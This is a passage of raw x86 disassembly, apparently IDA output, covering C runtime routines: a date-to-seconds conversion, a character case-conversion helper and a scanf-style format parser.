bl, 3 jnz short loc_41D648 cmp edi, 2 jle short loc_41D648 inc esi loc_41D648: ; CODE XREF: sub_41D609+37j ; sub_41D609+3Cj call sub_420939 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43BF70 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41D6BB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41D6C1 cmp dword_43BF74, 0 jz short loc_41D6C1 lea eax, [ebp+var_24] push eax call sub_420BAC pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41D6C1 loc_41D6BB: ; CODE XREF: sub_41D609+90j add ecx, dword_43BF78 loc_41D6C1: ; CODE XREF: sub_41D609+96j ; sub_41D609+9Fj ... mov eax, ecx jmp short loc_41D6C8 ; --------------------------------------------------------------------------- loc_41D6C5: ; CODE XREF: sub_41D609+13j ; sub_41D609+1Fj or eax, 0FFFFFFFFh loc_41D6C8: ; CODE XREF: sub_41D609+BAj pop ebx leave retn sub_41D609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6CB proc near ; CODE XREF: sub_418833+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_48A0A8, 0 push ebx jnz short loc_41D6F6 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41D794 cmp eax, 7Ah jg loc_41D794 sub eax, 20h jmp loc_41D794 ; --------------------------------------------------------------------------- loc_41D6F6: ; CODE XREF: sub_41D6CB+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41D729 cmp dword_4397AC, 1 jle short loc_41D716 push 2 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41D721 ; --------------------------------------------------------------------------- loc_41D716: ; CODE XREF: sub_41D6CB+3Dj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 2 loc_41D721: ; CODE XREF: sub_41D6CB+49j test eax, eax jnz short loc_41D729 loc_41D725: ; CODE XREF: sub_41D6CB+AFj mov eax, ebx jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D729: ; CODE XREF: sub_41D6CB+34j ; sub_41D6CB+58j mov edx, off_4395A0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D74C and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41D755 ; --------------------------------------------------------------------------- loc_41D74C: ; CODE XREF: sub_41D6CB+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41D755: ; CODE XREF: sub_41D6CB+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_41D725 cmp eax, 1 jnz short loc_41D787 movzx eax, [ebp+var_4] jmp short loc_41D794 ; --------------------------------------------------------------------------- loc_41D787: ; CODE XREF: sub_41D6CB+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D794: ; CODE XREF: sub_41D6CB+14j ; sub_41D6CB+1Dj ... pop ebx leave retn sub_41D6CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D797 proc near ; CODE XREF: sub_418A52+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41E19D mov edi, [ebp+arg_0] jmp short loc_41D7C6 ; --------------------------------------------------------------------------- loc_41D7C1: ; CODE XREF: sub_41D797+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41D7C6: ; CODE XREF: sub_41D797+28j cmp dword_4397AC, 1 jle short loc_41D7DE movzx eax, al push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D7ED ; --------------------------------------------------------------------------- loc_41D7DE: ; CODE XREF: sub_41D797+36j mov ecx, off_4395A0 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41D7ED: ; CODE XREF: sub_41D797+45j cmp eax, ebx jz short loc_41D827 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41E224 pop ecx pop ecx push eax call sub_41E20D movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 add esp, 0Ch loc_41D815: ; CODE XREF: sub_41D797+8Ej test eax, eax jz short loc_41D827 movzx eax, byte ptr [esi+1] inc esi push eax call sub_420F60 pop ecx jmp short loc_41D815 ; --------------------------------------------------------------------------- loc_41D827: ; CODE XREF: sub_41D797+58j ; sub_41D797+80j cmp byte ptr [esi], 25h jnz loc_41E109 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41D85E: ; CODE XREF: sub_41D797+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_4397AC, 1 jle short loc_41D87B movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41D88A ; --------------------------------------------------------------------------- loc_41D87B: ; CODE XREF: sub_41D797+D3j mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41D88A: ; CODE XREF: sub_41D797+E2j test eax, eax jz short loc_41D8A0 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8A0: ; CODE XREF: sub_41D797+F5j cmp ebx, 4Eh jg short loc_41D8E3 jz short loc_41D905 cmp ebx, 2Ah jz short loc_41D8DE cmp ebx, 46h jz short loc_41D905 cmp ebx, 49h jz short loc_41D8C0 cmp ebx, 4Ch jnz short loc_41D8F2 inc [ebp+var_D] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8C0: ; CODE XREF: sub_41D797+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41D8F2 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41D8F2 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8DE: ; CODE XREF: sub_41D797+113j inc [ebp+var_E] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8E3: ; CODE XREF: sub_41D797+10Cj cmp ebx, 68h jz short loc_41D8FF cmp ebx, 6Ch jz short loc_41D8F7 cmp ebx, 77h jz short loc_41D8FA loc_41D8F2: ; CODE XREF: sub_41D797+122j ; sub_41D797+12Dj ... inc [ebp+var_F] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8F7: ; CODE XREF: sub_41D797+154j inc [ebp+var_D] loc_41D8FA: ; CODE XREF: sub_41D797+159j inc [ebp+var_5] jmp short loc_41D905 ; --------------------------------------------------------------------------- loc_41D8FF: ; CODE XREF: sub_41D797+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41D905: ; CODE XREF: sub_41D797+107j ; sub_41D797+10Ej ... cmp [ebp+var_F], 0 jz loc_41D85E cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41D92A mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41D92A: ; CODE XREF: sub_41D797+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41D948 mov al, [esi] cmp al, 53h jz short loc_41D944 cmp al, 43h jz short loc_41D944 or [ebp+var_5], 0FFh jmp short loc_41D948 ; --------------------------------------------------------------------------- loc_41D944: ; CODE XREF: sub_41D797+1A1j ; sub_41D797+1A5j mov [ebp+var_5], 1 loc_41D948: ; CODE XREF: sub_41D797+19Bj ; sub_41D797+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41D981 cmp esi, 63h jz short loc_41D972 cmp esi, 7Bh jz short loc_41D972 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41E224 pop ecx jmp short loc_41D97D ; --------------------------------------------------------------------------- loc_41D972: ; CODE XREF: sub_41D797+1C5j ; sub_41D797+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 loc_41D97D: ; CODE XREF: sub_41D797+1D9j pop ecx mov [ebp+var_14], eax loc_41D981: ; CODE XREF: sub_41D797+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41D991 cmp [ebp+var_C], eax jz loc_41E16D loc_41D991: ; CODE XREF: sub_41D797+1EFj cmp esi, 6Fh jg loc_41DBF8 jz loc_41DEAA cmp esi, 63h jz loc_41DBD5 cmp esi, 64h jz loc_41DEAA jle loc_41DC22 cmp esi, 67h jle short loc_41D9F5 cmp esi, 69h jz short loc_41D9DD cmp esi, 6Eh jnz loc_41DC22 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41E0D8 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41D9DD: ; CODE XREF: sub_41D797+229j push 64h pop esi loc_41D9E0: ; CODE XREF: sub_41D797+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41DC6A mov [ebp+var_17], 1 jmp loc_41DC6F ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D797+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41DA11 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41DA16 ; --------------------------------------------------------------------------- loc_41DA11: ; CODE XREF: sub_41D797+26Aj cmp ebx, 2Bh jnz short loc_41DA2D loc_41DA16: ; CODE XREF: sub_41D797+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41DA2D: ; CODE XREF: sub_41D797+27Dj mov edi, [ebp+arg_0] loc_41DA30: ; CODE XREF: sub_41D797+294j cmp [ebp+var_20], 0 jz short loc_41DA3F cmp [ebp+var_C], 15Dh jle short loc_41DA46 loc_41DA3F: ; CODE XREF: sub_41D797+29Dj mov [ebp+var_C], 15Dh loc_41DA46: ; CODE XREF: sub_41D797+2A6j ; sub_41D797+2F2j cmp dword_4397AC, 1 jle short loc_41DA5B push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DA66 ; --------------------------------------------------------------------------- loc_41DA5B: ; CODE XREF: sub_41D797+2B6j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DA66: ; CODE XREF: sub_41D797+2C2j test eax, eax jz short loc_41DA8B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DA8B inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DA46 ; --------------------------------------------------------------------------- loc_41DA8B: ; CODE XREF: sub_41D797+2D1j ; sub_41D797+2DBj cmp byte_4397B0, bl jnz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax mov al, byte_4397B0 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41DAB4: ; CODE XREF: sub_41D797+360j cmp dword_4397AC, 1 jle short loc_41DAC9 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DAD4 ; --------------------------------------------------------------------------- loc_41DAC9: ; CODE XREF: sub_41D797+324j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DAD4: ; CODE XREF: sub_41D797+330j test eax, eax jz short loc_41DAF9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DAF9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DAB4 ; --------------------------------------------------------------------------- loc_41DAF9: ; CODE XREF: sub_41D797+2FAj ; sub_41D797+304j ... cmp [ebp+var_1C], 0 jz loc_41DB91 cmp ebx, 65h jz short loc_41DB11 cmp ebx, 45h jnz loc_41DB91 loc_41DB11: ; CODE XREF: sub_41D797+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41DB38 mov [esi], al inc esi jmp short loc_41DB3D ; --------------------------------------------------------------------------- loc_41DB38: ; CODE XREF: sub_41D797+39Aj cmp ebx, 2Bh jnz short loc_41DB5B loc_41DB3D: ; CODE XREF: sub_41D797+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41DB4C and [ebp+var_C], eax jmp short loc_41DB5B ; --------------------------------------------------------------------------- loc_41DB4C: ; CODE XREF: sub_41D797+3AEj ; sub_41D797+3F8j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DB5B: ; CODE XREF: sub_41D797+3A4j ; sub_41D797+3B3j cmp dword_4397AC, 1 jle short loc_41DB70 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DB7B ; --------------------------------------------------------------------------- loc_41DB70: ; CODE XREF: sub_41D797+3CBj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DB7B: ; CODE XREF: sub_41D797+3D7j test eax, eax jz short loc_41DB91 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41DB91 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41DB4C ; --------------------------------------------------------------------------- loc_41DB91: ; CODE XREF: sub_41D797+366j ; sub_41D797+374j ... dec [ebp+var_4] push edi push ebx call sub_41E20D cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43B908 add esp, 0Ch jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DBD5: ; CODE XREF: sub_41D797+20Cj cmp [ebp+var_20], eax jnz short loc_41DBE4 inc [ebp+var_C] mov [ebp+var_20], 1 loc_41DBE4: ; CODE XREF: sub_41D797+441j cmp [ebp+var_5], 0 jle short loc_41DBEE mov [ebp+var_16], 1 loc_41DBEE: ; CODE XREF: sub_41D797+451j mov edi, offset dword_43B930 jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DBF8: ; CODE XREF: sub_41D797+1FDj mov eax, esi sub eax, 70h jz loc_41DEA6 sub eax, 3 jz loc_41DCF4 dec eax dec eax jz loc_41DEAA sub eax, 3 jz loc_41D9E0 sub eax, 3 jz short loc_41DC46 loc_41DC22: ; CODE XREF: sub_41D797+21Bj ; sub_41D797+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41E16D dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41E0FE mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DC46: ; CODE XREF: sub_41D797+489j cmp [ebp+var_5], 0 jle short loc_41DC50 mov [ebp+var_16], 1 loc_41DC50: ; CODE XREF: sub_41D797+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41DD07 mov eax, edi lea edi, [eax+1] jmp loc_41DD03 ; --------------------------------------------------------------------------- loc_41DC6A: ; CODE XREF: sub_41D797+24Fj cmp ebx, 2Bh jnz short loc_41DC91 loc_41DC6F: ; CODE XREF: sub_41D797+259j dec [ebp+var_C] jnz short loc_41DC80 cmp [ebp+var_20], 0 jz short loc_41DC80 mov [ebp+var_F], 1 jmp short loc_41DC91 ; --------------------------------------------------------------------------- loc_41DC80: ; CODE XREF: sub_41D797+4DBj ; sub_41D797+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DC91: ; CODE XREF: sub_41D797+4D6j ; sub_41D797+4E7j cmp ebx, 30h jnz loc_41DEDF push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41DCDF cmp bl, 58h jz short loc_41DCDF cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41DCC9 push 6Fh loc_41DCC3: ; CODE XREF: sub_41D797+55Bj pop esi jmp loc_41DEDF ; --------------------------------------------------------------------------- loc_41DCC9: ; CODE XREF: sub_41D797+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx push 30h pop ebx jmp loc_41DEDC ; --------------------------------------------------------------------------- loc_41DCDF: ; CODE XREF: sub_41D797+517j ; sub_41D797+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41DCC3 ; --------------------------------------------------------------------------- loc_41DCF4: ; CODE XREF: sub_41D797+46Fj cmp [ebp+var_5], 0 jle short loc_41DCFE mov [ebp+var_16], 1 loc_41DCFE: ; CODE XREF: sub_41D797+561j mov edi, offset dword_43B928 loc_41DD03: ; CODE XREF: sub_41D797+45Cj ; sub_41D797+4CEj or [ebp+var_18], 0FFh loc_41DD07: ; CODE XREF: sub_41D797+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_417330 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41DD2B cmp byte ptr [edi], 5Dh jnz short loc_41DD2B mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD2B: ; CODE XREF: sub_41D797+584j ; sub_41D797+589j mov dl, [ebp+var_35] loc_41DD2E: ; CODE XREF: sub_41D797+592j ; sub_41D797+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41DD93 inc edi cmp al, 2Dh jnz short loc_41DD7A test dl, dl jz short loc_41DD7A mov cl, [edi] cmp cl, 5Dh jz short loc_41DD7A inc edi cmp dl, cl jnb short loc_41DD4D mov al, cl jmp short loc_41DD51 ; --------------------------------------------------------------------------- loc_41DD4D: ; CODE XREF: sub_41D797+5B0j mov al, dl mov dl, cl loc_41DD51: ; CODE XREF: sub_41D797+5B4j cmp dl, al ja short loc_41DD76 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41DD5E: ; CODE XREF: sub_41D797+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41DD5E loc_41DD76: ; CODE XREF: sub_41D797+5BCj xor dl, dl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD7A: ; CODE XREF: sub_41D797+5A0j ; sub_41D797+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41DD2E ; --------------------------------------------------------------------------- loc_41DD93: ; CODE XREF: sub_41D797+59Bj cmp byte ptr [edi], 0 jz loc_41E19D cmp [ebp+var_3C], 7Bh jnz short loc_41DDA5 mov [ebp+arg_4], edi loc_41DDA5: ; CODE XREF: sub_41D797+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41E20D pop ecx pop ecx loc_41DDBC: ; CODE XREF: sub_41D797+6BCj ; sub_41D797+6C4j cmp [ebp+var_20], 0 jz short loc_41DDD0 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41DE6C loc_41DDD0: ; CODE XREF: sub_41D797+629j inc [ebp+var_4] push edi call sub_41E1F3 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41DE60 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41DE60 cmp [ebp+var_E], 0 jnz short loc_41DE58 cmp [ebp+var_16], 0 jz short loc_41DE4D mov ecx, off_4395A0 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41DE2C inc [ebp+var_4] push edi call sub_41E1F3 pop ecx mov [ebp+var_37], al loc_41DE2C: ; CODE XREF: sub_41D797+686j push dword_4397AC lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_420E98 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41DE50 ; --------------------------------------------------------------------------- loc_41DE4D: ; CODE XREF: sub_41D797+673j mov [esi], al inc esi loc_41DE50: ; CODE XREF: sub_41D797+6B4j mov [ebp+var_2C], esi jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE58: ; CODE XREF: sub_41D797+66Dj inc [ebp+var_30] jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DE60: ; CODE XREF: sub_41D797+649j ; sub_41D797+667j dec [ebp+var_4] push edi push eax call sub_41E20D pop ecx pop ecx loc_41DE6C: ; CODE XREF: sub_41D797+633j cmp [ebp+var_30], esi jz loc_41E19D cmp [ebp+var_E], 0 jnz loc_41E0FE inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41E0FE cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41DE9E and word ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DE9E: ; CODE XREF: sub_41D797+6FCj and byte ptr [eax], 0 jmp loc_41E0FE ; --------------------------------------------------------------------------- loc_41DEA6: ; CODE XREF: sub_41D797+466j mov [ebp+var_D], 1 loc_41DEAA: ; CODE XREF: sub_41D797+203j ; sub_41D797+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41DEB8 mov [ebp+var_17], 1 jmp short loc_41DEBD ; --------------------------------------------------------------------------- loc_41DEB8: ; CODE XREF: sub_41D797+719j cmp ebx, 2Bh jnz short loc_41DEDF loc_41DEBD: ; CODE XREF: sub_41D797+71Fj dec [ebp+var_C] jnz short loc_41DECE cmp [ebp+var_20], 0 jz short loc_41DECE mov [ebp+var_F], 1 jmp short loc_41DEDF ; --------------------------------------------------------------------------- loc_41DECE: ; CODE XREF: sub_41D797+729j ; sub_41D797+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 pop ecx mov ebx, eax loc_41DEDC: ; CODE XREF: sub_41D797+543j mov [ebp+var_14], ebx loc_41DEDF: ; CODE XREF: sub_41D797+4FDj ; sub_41D797+52Dj ... cmp [ebp+var_30], 0 jz loc_41DFF8 cmp [ebp+var_F], 0 jnz loc_41DFD6 loc_41DEF3: ; CODE XREF: sub_41D797+82Cj cmp esi, 78h jnz short loc_41DF47 cmp dword_4397AC, 1 jle short loc_41DF10 push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF1D ; --------------------------------------------------------------------------- loc_41DF10: ; CODE XREF: sub_41D797+768j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 80h loc_41DF1D: ; CODE XREF: sub_41D797+777j test eax, eax jz loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_420F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DF9A ; --------------------------------------------------------------------------- loc_41DF47: ; CODE XREF: sub_41D797+75Fj cmp dword_4397AC, 1 jle short loc_41DF5C push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41DF67 ; --------------------------------------------------------------------------- loc_41DF5C: ; CODE XREF: sub_41D797+7B7j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41DF67: ; CODE XREF: sub_41D797+7C3j test eax, eax jz short loc_41DFC8 cmp esi, 6Fh jnz short loc_41DF85 cmp ebx, 38h jge short loc_41DFC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_420F90 jmp short loc_41DF94 ; --------------------------------------------------------------------------- loc_41DF85: ; CODE XREF: sub_41D797+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_417760 loc_41DF94: ; CODE XREF: sub_41D797+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41DF9A: ; CODE XREF: sub_41D797+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41DFB2 dec [ebp+var_C] jz short loc_41DFD6 loc_41DFB2: ; CODE XREF: sub_41D797+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41DEF3 ; --------------------------------------------------------------------------- loc_41DFC8: ; CODE XREF: sub_41D797+788j ; sub_41D797+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41DFD6: ; CODE XREF: sub_41D797+756j ; sub_41D797+819j cmp [ebp+var_17], 0 jz loc_41E0BC mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41E0BC ; --------------------------------------------------------------------------- loc_41DFF8: ; CODE XREF: sub_41D797+74Cj cmp [ebp+var_F], 0 jnz loc_41E0B4 loc_41E002: ; CODE XREF: sub_41D797+90Aj cmp esi, 78h jz short loc_41E046 cmp esi, 70h jz short loc_41E046 cmp dword_4397AC, 1 jle short loc_41E021 push 4 push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E021: ; CODE XREF: sub_41D797+87Cj mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 4 loc_41E02C: ; CODE XREF: sub_41D797+888j test eax, eax jz short loc_41E0A6 cmp esi, 6Fh jnz short loc_41E03F cmp ebx, 38h jge short loc_41E0A6 shl edi, 3 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E03F: ; CODE XREF: sub_41D797+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41E07E ; --------------------------------------------------------------------------- loc_41E046: ; CODE XREF: sub_41D797+86Ej ; sub_41D797+873j cmp dword_4397AC, 1 jle short loc_41E05E push 80h push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41E06B ; --------------------------------------------------------------------------- loc_41E05E: ; CODE XREF: sub_41D797+8B6j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 80h loc_41E06B: ; CODE XREF: sub_41D797+8C5j test eax, eax jz short loc_41E0A6 push ebx shl edi, 4 call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41E07E: ; CODE XREF: sub_41D797+8A6j ; sub_41D797+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41E090 dec [ebp+var_C] jz short loc_41E0B4 loc_41E090: ; CODE XREF: sub_41D797+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41E002 ; --------------------------------------------------------------------------- loc_41E0A6: ; CODE XREF: sub_41D797+897j ; sub_41D797+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41E0B4: ; CODE XREF: sub_41D797+865j ; sub_41D797+8F7j cmp [ebp+var_17], 0 jz short loc_41E0BC neg edi loc_41E0BC: ; CODE XREF: sub_41D797+843j ; sub_41D797+85Cj ... cmp esi, 46h 